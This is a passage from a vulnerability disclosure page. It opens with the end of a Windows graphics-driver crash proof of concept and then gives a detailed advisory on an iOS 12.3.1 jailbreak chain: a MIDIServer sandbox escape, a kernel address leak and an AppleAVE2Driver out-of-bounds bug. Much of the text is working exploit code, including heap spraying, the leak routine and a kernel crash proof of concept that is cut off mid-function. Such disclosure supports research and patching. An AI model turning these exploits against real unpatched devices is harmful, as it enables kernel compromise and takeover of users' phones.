	status = D3DKMTEscape(&escapeObj); // Will not return, it will crash the system.
	if (!NT_SUCCESS(status)) {
		printf("[-] D3DKMTEscape failed (%x)", status);
	}
	getchar();
	return 0;
}

Result in WinDbg:


We can see in the above screenshot that a buffer overflow occurred, and the system crashes.

SSD Advisory – iOS Jailbreak via Sandbox Escape and Kernel R/W leading to RCE

Introduction:
Each year, as part of TyphoonCon; our All Offensive Security Conference, we are offering cash prizes for vulnerabilities and exploitation techniques found. At our latest hacking competition: TyphoonPwn 2019, an independent Security Researcher demonstrated three vulnerabilities to our team which were followed by our live demonstration on stage. The Researcher was awarded an amazing sum of 60,000$ USD for his discovery!
TyphoonCon will take place from June 15th to June 19th 2020, in Seoul, Korea. Reserve your spot for TyphoonCon and register to TyphoonPwn for your chance to win up to 500K USD in prizes.
Vulnerability Summary
This post describes a series of vulnerabilities found in iOS 12.3.1, which when chained together allows execution of code in the context of the kernel.
CVEs
CVE-2019-8797
CVE-2019-8795
CVE-2019-8794
Credit
An independent Security Researcher, 08Tc3wBB, has reported this vulnerability to SSD Secure Disclosure program during TyphoonPwn event and was awarded 60,000$ USD for his discovery.
Affected Systems
iOS 12.3.1
Vendor Response
Apple has fixed the vulnerabilities in iOS 13.2. For more information see HT210721 advisory.
Vulnerability Details
While the kernel has a large amount of userland-reachable functionality, much of this attack surface is not accessible due to sandboxing in iOS. By default, an app is only able to access about 10 drivers’ userclients, which is a relatively small amount of code. Therefore, first escaping the app sandbox can be highly beneficial in order to attack the kernel.

Escaping the Sandbox

In contrast to the kernel, many daemons running in userland are accessible via the default app sandbox. One such example is a daemon called MIDIServer (com.apple.midiserver). This daemon allows apps and other services to interface with MIDI hardware which may be connected to the device.
The MIDIServer binary itself is fairly simple. It is a stub binary, and all of it’s functionality is actually stored in a library which is part of the shared cache (CoreMIDI): the main() function of MIDIServer simply calls MIDIServerRun().
CoreMIDI then sets up two sandbox-accessible Mach services, com.apple.midiserver and com.apple.midiserver.io. The former is a typical MIG-based Mach server, which implements 47 methods (as of writing). com.apple.midiserver.io however, is a custom implementation, used for transferring IO buffers between clients and the server.
Here is the main run thread for the io Mach server:

__int64 MIDIIOThread::Run(MIDIIOThread *this, __int64 a2, __int64 a3, int *a4)
{
  x0 = XMachServer::CreateServerPort("com.apple.midiserver.io", 3, this + 140, a4);
  *(this + 36) = x0;
  if ( !*(this + 35) )
  {
    server_port = x0;
    *(this + 137) = 1;
    while ( 1 )
    {
      bufsz = 4;
      if ( XServerMachPort::ReceiveMessage(&server_port, &msg_cmd, &msg_buf, &bufsz) || msg_cmd == 3 )
        break;
      ResolvedOpaqueRef<ClientProcess>::ResolvedOpaqueRef(&v10, msg_buf);
      if ( v12 )
      {
        if ( msg_cmd == 1 )
        {
          ClientProcess::WriteDataAvailable(v12);
        }
        else if ( msg_cmd == 2 )
        {
          ClientProcess::EmptiedReadBuffer(v12);
        }
      }
      if ( v10 )
      {
        applesauce::experimental::sync::LockFreeHashTable<unsigned int,BaseOpaqueObject *,(applesauce::experimental::sync::LockFreeHashTableOptions)1>::Lookup::~Lookup(&v11);
        LOBYTE(v10) = 0;
      }
    }
    x0 = XServerMachPort::~XServerMachPort(&server_port);
  }
  return x0;
}

XServerMachPort::ReceiveMessage calls mach_msg with the MACH_RCV_MSG argument, waiting for messages on that port. The message contains a command ID and a length field, followed by the body of the message, which is parsed by the ReceiveMessage call. Three commands are available: command 1 will call ClientProcess::WriteDataAvailable, command 2 will call ClientProcess::EmptiedReadBuffer, and command 3 will exit the Mach server loop. The v12 object passed to the ClientProcess calls is found via ResolvedOpaqueRef. This method will take the 4-byte buffer provided in the message (the ID of the object) and perform a hashtable lookup, returning the object into a structure on the stack (the v12 variable denoted here lies within that structure).
The bug here is particularly nuanced, and lies within the ResolvedOpaqueRef<ClientProcess>::ResolvedOpaqueRef call.
The hashtable this method uses actually contains many different types of objects, not only those of the ClientProcess type. For example, objects created by the API methods MIDIExternalDeviceCreate and MIDIDeviceAddEntity are both stored in this hashtable.
Given the correct type checks are in-place, this would be no issue. However, there are actually two possible ways of accessing this hashtable:

BaseOpaqueObject::ResolveOpaqueRef
ResolvedOpaqueRef<ClientProcess>::ResolvedOpaqueRef

The former, used for example in the _MIDIDeviceAddEntity method, contains the proper type checks:

midi_device = BaseOpaqueObject::ResolveOpaqueRef(&TOpaqueRTTI<MIDIDevice>::sRTTI, device_id);

The latter method, however, does not. This means that by providing the ID of an object of a different type, you can cause a type confusion in one of the ClientProcess calls, where the method is expecting an object of type ClientProcess *.
Let’s follow the call trace for the EmptiedReadBuffer call:

; __int64 MIDIIOThread::Run(MIDIIOThread *this)
__ZN12MIDIIOThread3RunEv
[...]
BL              __ZN13ClientProcess17EmptiedReadBufferEv ; ClientProcess::EmptiedReadBuffer(x0) // `x0` is potentially type confused
; __int64 ClientProcess::EmptiedReadBuffer(ClientProcess *this)
__ZN13ClientProcess17EmptiedReadBufferEv
                STP             X20, X19, [SP,#-0x10+var_10]!
                STP             X29, X30, [SP,#0x10+var_s0]
                ADD             X29, SP, #0x10
                MOV             X19, X0
                ADD             X0, X0, #0x20 ; this
                BL              __ZN22MIDIIORingBufferWriter19EmptySecondaryQueueEv ; MIDIIORingBufferWriter::EmptySecondaryQueue(x0)
; bool MIDIIORingBufferWriter::EmptySecondaryQueue(MIDIIORingBufferWriter *this)
__ZN22MIDIIORingBufferWriter19EmptySecondaryQueueEv
                STP             X28, X27, [SP,#-0x10+var_50]!
                STP             X26, X25, [SP,#0x50+var_40]
                STP             X24, X23, [SP,#0x50+var_30]
                STP             X22, X21, [SP,#0x50+var_20]
                STP             X20, X19, [SP,#0x50+var_10]
                STP             X29, X30, [SP,#0x50+var_s0]
                ADD             X29, SP, #0x50
                MOV             X21, X0
                MOV             X19, X0 ; x19 = (MIDIIORingBufferWritter *)this
                LDR             X8, [X19,#0x58]!
                LDR             X8, [X8,#0x10]
                MOV             X0, X19
                BLR             X8

As you can see here, the EmptiedReadBuffer code path will effectively immediately dereference a couple of pointers within the type-confused object and branch to an address which can be attacker controlled. The call looks something like this: obj->0x78->0x10(obj->0x20).

Exploitation

In order to exploit this bug we can confuse the ClientProcess type with a MIDIEntity instance. MIDIEntity is of size 0x78, which makes it a perfect target as it means the first dereference that is performed on the object (at 0x78) will be in out of bounds memory. You could then align some controlled data after the MIDIEntity object, however because we are in userland there is a better way.
The MIDIObjectSetDataProperty API call will unserialize CoreFoundation objects into MIDIServer’s heap, so using this call we can spray CFData objects of size 0x90. The exploit then sends two Mach messages containing an OOL memory descriptor, mapped at the static address 0x29f000000 (for some reason it is required to send the message twice, else the memory will not be mapped; I am not sure on the cause of this). This memory is a large continuous CoW mapping which contains the ROP chain used later in exploitation, and importantly a function pointer located at the 0x10 offset to be dereferenced by the EmptySecondaryQueue code.
The following code sets up the CFData objects which are sprayed into MIDIServer’s heap:

  Prepare_bunch_keys(); // For iterating
  size_t spraybufsize = 0x90;
  void *spraybuf = malloc(spraybufsize);
  for(int i=0; i<spraybufsize; i+=0x8){
      *(uint64_t*)(spraybuf + i) = SPRAY_ADDRESS; // The 0x29f000000 address
  }
  CFDataRef spraydata = CFDataCreate(kCFAllocatorDefault, spraybuf, spraybufsize);

And the heap is crafted here:

  // OSStatus MIDIClientCreate(CFStringRef name, MIDINotifyProc notifyProc, void *notifyRefCon, MIDIClientRef *outClient);
  uint32_t mclient_id = 0;
  MIDIClientCreate(CFSTR(""), useless_notify, NULL, &mclient_id);
  printf("MIDI Client ID: 0x%x\n", mclient_id);
  // OSStatus MIDIExternalDeviceCreate(CFStringRef name, CFStringRef manufacturer, CFStringRef model, MIDIDeviceRef *outDevice);
  uint32_t mdevice_id = 0;
  MIDIExternalDeviceCreate(CFSTR(""), CFSTR(""), CFSTR(""), &mdevice_id);
  printf("MIDI Device ID: 0x%x\n", mdevice_id);
  // OSStatus MIDIObjectSetDataProperty(MIDIObjectRef obj, CFStringRef propertyID, CFDataRef data);
  for (int i = 0; i < 300; i++)
  {
      MIDIObjectSetDataProperty(mdevice_id, bunchkeys[i], spraydata); // Each call will unserialize one CFData object of size 0x90
  }
  // Sends 1 OOL descriptor each with the spray memory mapping
  Send_spray_mem();
  Send_spray_mem();
  // OSStatus MIDIObjectRemoveProperty(MIDIObjectRef obj, CFStringRef propertyID);
  // Removes every other property we just added
  for (int i = 0; i < 300; i = i + 2)
  {
      MIDIObjectRemoveProperty(mdevice_id, bunchkeys[i]); // Free's the CFData object, popping holes on the heap
  }

At this point we now have 150 CFData allocations and 150 free’d holes of size 0x90, all containing the SPRAY_ADDRESS pointer. The next step is to fill one of these holes with a MIDIEntity object:

  uint32_t mentity_id = 0;
  MIDIDeviceAddEntity(mdevice_id, CFSTR(""), false, 0, 0, &mentity_id);
  printf("mentity_id = 0x%x\n", mentity_id);

If all has gone to plan, we should now have a chunk of memory on the heap where the first 0x78 bytes are filled with the valid MIDIEntity object, and the remaining 0x18 bytes are filled with SPRAY_ADDRESS pointers.
In order to trigger the bug we can call to the com.apple.midiserver.io Mach server, with the ID of our target MIDIEntity object (mentity_id):

  // Sends msgh_id 0 with cmd 2 and datalen 4 (ClientProcess::EmptiedReadBuffer)
  Init_triggerExp_msg(mentity_id);
  Send_triggerExp_msg();

This will kick off the ROP chain on the Mach server thread in the MIDIServer process.
A simple failure check is then used, based on whether the ID of a new object is continuous to the object ID’s seen before triggering the bug:

  // OSStatus MIDIExternalDeviceCreate(CFStringRef name, CFStringRef manufacturer, CFStringRef model, MIDIDeviceRef *outDevice);
  uint32_t verifysucc_mdevice_id = 0;
  MIDIExternalDeviceCreate(CFSTR(""), CFSTR(""), CFSTR(""), &verifysucc_mdevice_id);
  printf("verify_mdevice_id: 0x%x\n", verifysucc_mdevice_id);
  if (verifysucc_mdevice_id == mdevice_id + 2)
  {
      break;
  }
  // We failed, reattempting...
  printf("Try again\n");
  MIDIRestart();

If the object ID’s are not continuous, it means exploitation failed (ie. the daemon crashed), so the daemon is restarted via the MIDIRestart call and exploitation can be re-attempted.
I won’t cover in detail how the ROP chain works, however the basic idea is to call objc_release on a buffer within the SPRAY_ADDRESS memory mapping, with a fake Objective-C object crafted at this address, on which the release method will be executed. A chain-calling primitive is then set up, with the target goal of opening 3 userclients, and hanging in a mach_msg_receive call to later overwrite some memory via vm_read_overwrite when a message is received — this is utilized later in kernel exploitation.
It is to note that for this ROP-based exploitation methodology a PAC bypass would be required on A12 and newer processors (or ideally, a different exploitation methodology).
The userclients fetched from MIDIServer are AppleSPUProfileDriver, IOSurfaceRoot, and AppleAVE2Driver.

(Ab)using AppleSPUProfileDriver: Kernel ASLR Defeat

Via MIDIServer we are able to access the AppleSPUProfileDriver userclient. This userclient implements 12 methods, however we are only interested in the last: AppleSPUProfileDriverUserClient::extSignalBreak. Let’s take a look at the pseudocode to get a rough idea of what’s happening:

__int64 AppleSPUProfileDriver::signalBreakGated(AppleSPUProfileDriver *this)
{
  __int64 dataQueueLock; // x19
  unsigned __int64 v8; // x0
  __int64 result; // x0
  int v10; // [xsp+8h] [xbp-48h]
  int v11; // [xsp+Ch] [xbp-44h]
  __int64 v12; // [xsp+10h] [xbp-40h]
  __int64 v13; // [xsp+38h] [xbp-18h]
  dataQueueLock = this->dataQueueLock;
  IORecursiveLockLock(this->dataQueueLock);
  if ( this->dataQueue )
  {
    v10 = 0;
    abs_time = mach_absolute_time();
    v12 = AppleSPUProfileDriver::absolutetime_to_sputime(this, abs_time);
    v11 = OSIncrementAtomic(&this->atomicCount);
    (*(*this->dataQueue + 0x88∂LL))();           // IOSharedDataQueue::enqueue(&v10, 0x30)
  }
  result = IORecursiveLockUnlock(dataQueueLock);
  return result;
}

The function is fairly simple: it will take a lock, write some data to a buffer stored on the stack, and call IOSharedDataQueue::enqueue to submit that data to the queue, with a buffer size of 0x30. The way the stack is accessed here is not particularly clear, so let us instead look at the relevant parts of the disassembly:

; __int64 AppleSPUProfileDriver::signalBreakGated(AppleSPUProfileDriver *this)
__ZN21AppleSPUProfileDriver16signalBreakGatedEv
var_48          = -0x48
var_44          = -0x44
var_40          = -0x40
var_18          = -0x18
var_10          = -0x10
var_s0          =  0
                PACIBSP
                SUB             SP, SP, #0x60
                STP             X20, X19, [SP,#0x50+var_10]
                STP             X29, X30, [SP,#0x50+var_s0]
                ADD             X29, SP, #0x50
                MOV             X20, X0
                ADRP            X8, #___stack_chk_guard@PAGE
                NOP
                LDR             X8, [X8,#___stack_chk_guard@PAGEOFF]
                STUR            X8, [X29,#var_18]
                LDR             X19, [X0,#0x30B8]
                MOV             X0, X19
                BL              _IORecursiveLockLock
                LDR             X8, [X20,#0x90]
                CBZ             X8, branch_exit_stub
                STR             WZR, [SP,#0x50+var_48]
                BL              _mach_absolute_time
                MOV             X1, X0  ; unsigned __int64
                MOV             X0, X20 ; this
                BL              __ZN21AppleSPUProfileDriver23absolutetime_to_sputimeEy ; AppleSPUProfileDriver::absolutetime_to_sputime(ulong long)
                STR             X0, [SP,#0x50+var_40]
                MOV             W8, #0x30CC
                ADD             X0, X20, X8
                BL              _OSIncrementAtomic
                STR             W0, [SP,#0x50+var_44]
                LDR             X0, [X20,#0x90]
                LDR             X8, [X0]
                LDRAA           X9, [X8,#0x90]!
                MOVK            X8, #0x911C,LSL#48
                ADD             X1, SP, #0x50+var_48
                MOV             W2, #0x30
                BLRAA           X9, X8                        // Call to IOSharedDataQueue::enqueue
branch_exit_stub                    ; CODE XREF: AppleSPUProfileDriver::signalBreakGated(void)+38
                MOV             X0, X19 ; lock
                BL              _IORecursiveLockUnlock
                LDUR            X8, [X29,#var_18]
                ADRP            X9, #___stack_chk_guard@PAGE
                NOP
                LDR             X9, [X9,#___stack_chk_guard@PAGEOFF]
                CMP             X9, X8
                B.NE            branch_stack_chk_fail
                MOV             W0, #0
                LDP             X29, X30, [SP,#0x50+var_s0]
                LDP             X20, X19, [SP,#0x50+var_10]
                ADD             SP, SP, #0x60
                RETAB
; ---------------------------------------------------------------------------
branch_stack_chk_fail                    ; CODE XREF: AppleSPUProfileDriver::signalBreakGated(void)+9C
                BL              ___stack_chk_fail

We can see here that the 32-bit value zero is stored to var_48, the result of the OSIncrementAtomic call is stored to var_44, and the absolutetime_to_sputime return value is stored to var_40. However, remember that the size 0x30 is provided to the IOSharedDataQueue::enqueue call? This means that any uninitialized stack data will be leaked into the shared dataqueue! So while this dataqueue may contain leaked data, there are no security implications unless we are able to access this data. However, IOSharedDataQueue’s are signed to be exactly that — shared. Let’s take a look at AppleSPUProfileDriverUserClient::clientMemoryForType:

__int64 AppleSPUProfileDriverUserClient::clientMemoryForType(AppleSPUProfileDriverUserClient *this, int type, unsigned int *options, IOMemoryDescriptor **memory)
{
  [...]
  ret = 0xE00002C2LL;
  if ( !type )
  {
    memDesc = AppleSPUProfileDriver::copyBuffer(this->provider);
    *memory = memDesc;
    if ( memDesc )
      ret = 0LL;
    else
      ret = 0xE00002D8LL;
  }
  return ret;
}
__int64 AppleSPUProfileDriver::copyBuffer(AppleSPUProfileDriver *this)
{
  [...]
  dataQueueLock = this->dataQueueLock;
  IORecursiveLockLock(this->dataQueueLock);
  memDesc = this->queueMemDesc;
  if ( memDesc )
  {
    (*(*memDesc + 0x20LL))();                   // OSObject::retain
    buf = this->queueMemDesc;
  }
  else
  {
    buf = 0LL;
  }
  IORecursiveLockUnlock(dataQueueLock);
  return buf;
}

So via IOConnectMapMemory64 we can map in the memory descriptor for this IOSharedDataQueue, which contains any data enqueue’d to it, including our leaked stack data! To finalize our understanding of this bug, let’s look at an example of leaked data from the queue:

30 00 00 00
00 00 00 00 78 00 00 80
c0 5a 0c 03 00 00 00 00
00 f0 42 00 e0 ff ff ff
50 b4 d8 3b e0 ff ff ff
80 43 03 11 f0 ff ff ff
00 00 00 00 00 00 00 00

The first dword you can see is the size field of the IODataQueueEntry struct (0x30 in this case), which precedes every chunk of data in the queue:

typedef struct _IODataQueueEntry{
    UInt32  size;
    UInt8   data[4];
} IODataQueueEntry;

Then we see the dword which is explicitly written to zero, the return value of the OSIncrementAtomic call (0x78), and the absolutetime_to_sputime value in the 3rd row. This data is then followed by 3 kernel pointers which are leaked off the stack. Specifically, we are interested in the 3rd pointer (0xfffffff011034380). From my testing (iPhone 8, iOS 12.4), this will always point into kernel’s __TEXT region, so by calculating the unslid pointer we are able to deduce the kernel’s slide. The full exploit for this infoleak can be seen below (some global variable definitions may be missing):

uint64_t check_memmap_for_kaslr(io_connect_t ioconn)
{
    kern_return_t ret;
    mach_vm_address_t map_addr = 0;
    mach_vm_size_t map_size = 0;
    ret = IOConnectMapMemory64(ioconn, 0, mach_task_self(), &map_addr, &map_size, kIOMapAnywhere);
    if (ret != KERN_SUCCESS)
    {
        printf("IOConnectMapMemory64 failed: %x %s\n", ret, mach_error_string(ret));
        return 0x0;
    }
    uint32_t search_val = 0xfffffff0; // Constant value of Kernel code segment higher 32bit addr
    uint64_t start_addr = map_addr;
    size_t search_size = map_size;
    while ((start_addr = (uint64_t)memmem((const void *)start_addr, search_size, &search_val, sizeof(search_val))))
    {
        uint64_t tmpcalc = *(uint64_t *)(start_addr - 4) - INFOLEAK_ADDR;
        // kaslr offset always be 0x1000 aligned
        if ((tmpcalc & 0xFFF) == 0x0)
        {
            return tmpcalc;
        }
        start_addr += sizeof(search_val);
        search_size = (uint64_t)map_addr + search_size - start_addr;
    }
    return 0x0;
}
mach_vm_offset_t get_kaslr(io_connect_t ioconn)
{
    uint64_t scalarInput = 1;
    // Allocte a new IOSharedDataQueue
    // AppleSPUProfileDriverUserClient::extSetEnabledMethod
    IOConnectCallScalarMethod(ioconn, 0, &scalarInput, 1, NULL, NULL);
    int kaslr_iter = 0;
    while (!kaslr)
    {
        // AppleSPUProfileDriverUserClient::extSignalBreak
        // Enqueues a data item of size 0x30, leaking 0x18 bytes off the stack
        IOConnectCallStructMethod(ioconn, 11, NULL, 0, NULL, NULL);
        // Map the IOSharedDataQueue and look for the leaked ptr
        kaslr = check_memmap_for_kaslr(ioconn);
        if (kaslr_iter++ % 5 == 0)
        {
            scalarInput = 0;
            // AppleSPUProfileDriverUserClient::extSetEnabledMethod
            IOConnectCallScalarMethod(ioconn, 0, &scalarInput, 1, NULL, NULL);
            scalarInput = 1;
            // AppleSPUProfileDriverUserClient::extSetEnabledMethod
            IOConnectCallScalarMethod(ioconn, 0, &scalarInput, 1, NULL, NULL);
        }
    }
    scalarInput = 0;
    // AppleSPUProfileDriverUserClient::extSetEnabledMethod
    IOConnectCallScalarMethod(ioconn, 0, &scalarInput, 1, NULL, NULL); // Shutdown
    return kaslr;
}
Going for Gold: Attacking the Kernel

The final vulnerability in this chain is a missing bounds check in AppleAVE2Driver. AppleAVE2 is a graphics driver in iOS, and in our case is accessible via the MIDIServer sandbox escape. The userclient exposes 24 methods, and this bug exists within the method at index 7; _SetSessionSettings. This method takes an input buffer of size 0x108, and loads many IOSurfaces from ID’s provided in the input buffer via the AppleAVE2Driver::GetIOSurfaceFromCSID method, before finally calling AppleAVE2Driver::Enqueue. Specifically, the method will load a surface by the name of InitInfoSurfaceId or InitInfoBufferr:

  if ( !structIn->InitInfoSurfaceId )
  {
    goto err;
  }
  [...]
  initInfoSurfaceId = structIn->InitInfoSurfaceId;
  if ( initInfoSurfaceId )
  {
    initInfoBuffer = AppleAVE2Driver::GetIOSurfaceFromCSID(this->provider, initInfoSurfaceId, this->task);
    this->InitInfoBuffer = initInfoBuffer;
    if ( initInfoBuffer )
      goto LABEL_13;
    goto err;
  }

The AppleAVE2Driver::Enqueue method will then create an IOSurfaceBufferMngr instance on this IOSurface:

  bufferMgr = operator new(0x70uLL);
  if ( !IOSurfaceBufferMngr::IOSurfaceBufferMngr(bufferMgr, 0LL, this) )
  {
    goto LABEL_23;
  }
  if ( IOSurfaceBufferMngr::CreateBufferFromIOSurface(
         bufferMgr,
         service->InitInfoBuffer,
         this->iosurfaceRoot,
         *&this->gap8[128],
         *&this->gap8[136],
         1,
         0,
         0,
         0,
         0,
         *&this->gap101[39],
         "InitInfo",
         this->gap3AF[49],
         0x1F4u) )
  {
    err = 0xE00002BDLL;
    v28 = IOSurfaceBufferMngr::~IOSurfaceBufferMngr(bufferMgr);
    operator delete(v28);
    return err;
  }
  if ( bufferMgr->size < 0x25DD0 )
  {
    err = 0xE00002BCLL;
    goto LABEL_27;
  }
  buffMgrKernAddr = bufferMgr->kernelAddress;
  if ( !buffMgrKernAddr )
  {
    goto LABEL_20;
  }

Bearing in mind the data within this buffer (now mapped at buffMgrKernAddr) is userland-controlled, the method will proceed to copy large chunks of data out of the buffer into an AVEClient * object, which I have named currentClient:

  currentClient->unsigned2400 = *(buffMgrKernAddr + 2008);
  memmove(&currentClient->unsigned2404, buffMgrKernAddr + 2012, 0x2BE4LL);
  currentClient->oword5018 = *(buffMgrKernAddr + 13296);
  currentClient->oword5008 = *(buffMgrKernAddr + 13280);
  currentClient->oword4FF8 = *(buffMgrKernAddr + 13264);
  currentClient->oword4FE8 = *(buffMgrKernAddr + 13248);
  currentClient->oword5058 = *(buffMgrKernAddr + 13360);
  currentClient->memoryInfoCnt2 = *(buffMgrKernAddr + 0x3420);
  currentClient->oword5038 = *(buffMgrKernAddr + 13328);
  currentClient->oword5028 = *(buffMgrKernAddr + 13312);
  currentClient->oword5098 = *(buffMgrKernAddr + 13424);
  currentClient->oword5088 = *(buffMgrKernAddr + 13408);
  currentClient->oword5078 = *(buffMgrKernAddr + 13392);
  currentClient->oword5068 = *(buffMgrKernAddr + 13376);
  currentClient->oword50C8 = *(buffMgrKernAddr + 13472);
  currentClient->oword50B8 = *(buffMgrKernAddr + 13456);
  currentClient->oword50A8 = *(buffMgrKernAddr + 13440);
  currentClient->qword50D8 = *(buffMgrKernAddr + 13488);
  memmove(&currentClient->sessionSettings_block1, buffMgrKernAddr, 0x630LL);
  memmove(&currentClient->gap1C8C[0x5CC], buffMgrKernAddr + 1584, 0x1A8LL);

When closing an AppleAVE2Driver userclient via AppleAVE2DriverUserClient::_my_close, the code will call a function named AppleAVE2Driver::AVE_DestroyContext on the AVEClient object associated with that userclient. AVE_DestroyContext calls AppleAVE2Driver::DeleteMemoryInfo on many MEMORY_INFO structures located within the AVEClient, and as the penultimate step calls this function on an array of MEMORY_INFO structures in the client, the quantity of which is denoted by the memoryInfoCnt{1,2} fields:

  v73 = currentClient->memoryInfoCnt1 + 2;
  if ( v73 <= currentClient->memoryInfoCnt2 )
    v73 = currentClient->memoryInfoCnt2;
  if ( v73 )
  {
    iter1 = 0LL;
    statsMapBufArr = currentClient->statsMapBufferArray;
    do
    {
      AppleAVE2Driver::DeleteMemoryInfo(this, statsMapBufArr);
      ++iter1;
      loopMax = currentClient->memoryInfoCnt1 + 2;
      cnt2 = currentClient->memoryInfoCnt2;
      if ( loopMax <= cnt2 )
        loopMax = cnt2;
      else
        loopMax = loopMax;
      statsMapBufArr += 0x28LL;
    }
    while ( iter1 < loopMax );
  }

In _SetSessionSettings, there are bounds checks on the value of memoryInfoCnt1:

  if ( currentClient->memoryInfoCnt1 >= 4u )
  {
    ret = 0xE00002BCLL;
    return ret;
  }

However no such bounds checks on the value of memoryInfoCnt2. This missing check, combined with the following piece of logic in the while loop, means that the loop will access and call DeleteMemoryInfo on out-of-bounds data, provided a high enough value is provided as memoryInfoCnt2:

  loopMax = currentClient->memoryInfoCnt1 + 2;  // Take memoryInfoCnt1 (max 4), loopMax is <=6
  cnt2 = currentClient->memoryInfoCnt2;         // Take memoyInfoCnt2
  if ( loopMax <= cnt2 )                        // if cnt2 is larger than loopMax...
    loopMax = cnt2;                             // update loopMax to the value of memoryInfoCnt2
  else
    loopMax = loopMax;                          // else, no change

By default, there are 5 MEMORY_INFO structures within the statsMapBufferArray. With each entry being of size 0x28, the array consumes 0xc8 (dec: 200) bytes. Becuase this array is inlined within the AVEClient * object, when we trigger the out-of-bounds bug the next DeleteMemoryInfo call will use whatever data may follow the statsMapBufferArray. On my iPhone 8’s 12.4 kernel, this array lies at offset 0x1b60, meaning the 6th entry (the first out-of-bounds entry) will be at offset 0x1c28.
Now, remember how in _SetSessionSettings large chunks of data are copied from a user-controlled buffer into the AVEClient object? It just so happens that one of these controlled buffers lies directly after the statsMapBufferArray field!

  00000000 AVEClient       struc ; (sizeof=0x29AC8, align=0x8, mappedto_215)
  [...]
  00001B60 statsMapBufferArray DCB 200 dup(?)
  00001C28 sessionSettings_block1 DCB ?
  [...]
  // Copies from the IOSurface buffer to a buffer adjacent to the statsMapBufferArray
  memmove(&currentClient->sessionSettings_block1, buffMgrKernAddr, 0x630LL);

So by providing crafted data in the IOSurface buffer copied into the AVEClient, we can have full control over the out-of-bounds array entries.

Taking (PC) Control

Now let’s look at the AppleAVE2Driver::DeleteMemoryInfo function itself, bearing in mind we have full control over the memInfo object:

__int64 AppleAVE2Driver::DeleteMemoryInfo(AppleAVE2Driver *this, IOSurfaceBufferMngr **memInfo)
{
  [...]
  if ( memInfo )
  {
    if ( *memInfo )
    {
      v8 = IOSurfaceBufferMngr::~IOSurfaceBufferMngr(*memInfo);
      operator delete(v8);
    }
    memset(memInfo, 0, 0x28uLL);
    result = 0LL;
  }
  else
  {
    result = 0xE00002BCLL;
  }
  return result;
}

The IOSurfaceBufferMngr destructor wraps directly around a static IOSurfaceBufferMngr::RemoveBuffer call:

IOSurfaceBufferMngr *IOSurfaceBufferMngr::~IOSurfaceBufferMngr(IOSurfaceBufferMngr *this)
{
  IOSurfaceBufferMngr::RemoveBuffer(this);
  return this;
}

RemoveBuffer then calls IOSurfaceBufferMngr::CompleteFence, which in this case is best viewed as assembly:

IOSurfaceBufferMngr::CompleteFence(IOSurfaceBufferMngr *this)
                STP             X20, X19, [SP,#-0x10+var_10]!
                STP             X29, X30, [SP,#0x10+var_s0]
                ADD             X29, SP, #0x10
                MOV             X19, X0                         // x19 = x0 (controlled pointer)
                LDR             X0, [X0,#0x58]                  // Loads x0->0x58
                CBZ             X0, exit_stub                   // Exits if the value is zero
                LDRB            W8, [X19,#0x1E]                 // Loads some byte at x19->0x1e
                CBNZ            W8, exit_stub                   // Exits if the byte is non-zero
                MOV             W1, #0
                BL              IOFence::complete
                LDR             X0, [X19,#0x58]                 // Loads x19->0x58
                LDR             X8, [X0]                        // Loads x0->0x0
                LDR             X8, [X8,#0x28]                  // Loads function pointer x8->0x28
                BLR             X8                              // Branches to fptr, giving arbitrary PC control
                STR             XZR, [X19,#0x58]
exit_stub
                LDP             X29, X30, [SP,#0x10+var_s0]
                LDP             X20, X19, [SP+0x10+var_10],#0x20
                RET

In essence, by crafting a userland-shared buffer you can trigger an out-of-bounds access, which will almost directly give arbitrary PC control upon closing the userclient.
Here’s a PoC for this bug, it will panic the device with a dereference to the address 0x4141414142424242:

void kernel_bug_poc(io_connect_t ioconn, io_connect_t surface_ioconn)
{
    kern_return_t ret;
    {
        char open_inputStruct[0x8] = { 0 };
        char open_outputStruct[0x4] = { 0 };
        size_t open_outputStruct_size = sizeof(open_outputStruct);
        // AppleAVE2UserClient::_my_open
        ret = IOConnectCallStructMethod(ioconn,
                                        0,
                                        open_inputStruct,
                                        sizeof(open_inputStruct),
                                        open_outputStruct,
                                        &open_outputStruct_size);
        NSLog(@"my_open: %x %s", ret, mach_error_string(ret));
    }
    // Create an IOSurface using the IOSurface client owned by MIDIServer
    // Address & size of the shared mapping created by IOSurface and
    // returned in the output struct at offsets 0x0 and 0x1c respectively
    uint64_t surface_map_addr = 0x0;
    uint32_t surface_map_size = 0x0;
    uint32_t surface_id = IOSurfaceRootUserClient_CreateSurface(surface_ioconn, &surface_map_addr, &surface_map_size);
    NSLog(@"Got Surface ID: %d", surface_id);
    uintptr_t surface_data = malloc(surface_map_size);
    bzero((void *)surface_data, surface_map_size);
    *(uint64_t *)(surface_data + 0x0) = 0x4141414142424242;     // First pointer to memory containing function pointer
                                                                // This field is the start of the block adjacent to the stats array
    *(uint32_t *)(surface_data + 0x3420) = 6;                   // `memoryInfoCnt2` field, gives 1 OOB access
    // Sends the data to MIDIServer to be written onto the IOSurface
    // The MIDIServer ROP chain hangs on the following call:
    // vm_read_overwrite(ourtask, clientbuf, surface1_map_size, surface1_map_addr, ...)
    send_overwriting_iosurface_map(surface_data, surface_map_size, surface_map_addr);
    // Waits for a message back from MIDIServer, sent by the ROP chain
    // Notifies us that the vm_read_overwrite call completed
    reply_notify_completion();
    free(surface_data);
    {
        // Write the OOB count value to the `currentClient` object, and write our adjacent data
        char setSessionSettings_inputStruct[0x108] = { 0 };
        char setSessionSettings_outputStruct[0x4] = { 0 };
        size_t setSessionSettings_outputStruct_size = sizeof(setSessionSettings_outputStruct);
        *(uint32_t *)(setSessionSettings_inputStruct + 0x04) = surface_id; // FrameQueueSurfaceId
        *(uint32_t *)(setSessionSettings_inputStruct + 0x08) = surface_id; // InitInfoSurfaceId, vulnerable IOSurface mapping
        *(uint32_t *)(setSessionSettings_inputStruct + 0x0c) = surface_id; // ParameterSetsBuffer
        *(uint32_t *)(setSessionSettings_inputStruct + 0xd0) = surface_id; // codedHeaderCSID & codedHeaderBuffer [0]
        *(uint32_t *)(setSessionSettings_inputStruct + 0xd4) = surface_id; // codedHeaderCSID & codedHeaderBuffer [1]
        // AppleAVE2UserClient::_SetSessionSettings
        ret = IOConnectCallStructMethod(ioconn,
                                        7,
                                        setSessionSettings_inputStruct,
                                        sizeof(setSessionSettings_inputStruct),
                                        setSessionSettings_outputStruct,
                                        &setSessionSettings_outputStruct_size);
        NSLog(@"SetSessionSettings: %x %s", ret, mach_error_string(ret));
    }
    {
        // Trigger the bug
        char close_inputStruct[0x4] = { 0 };
        char close_outputStruct[0x4] = { 0 };
        size_t close_outputStruct_size = sizeof(close_outputStruct);
        // AppleAVE2UserClient::_my_close
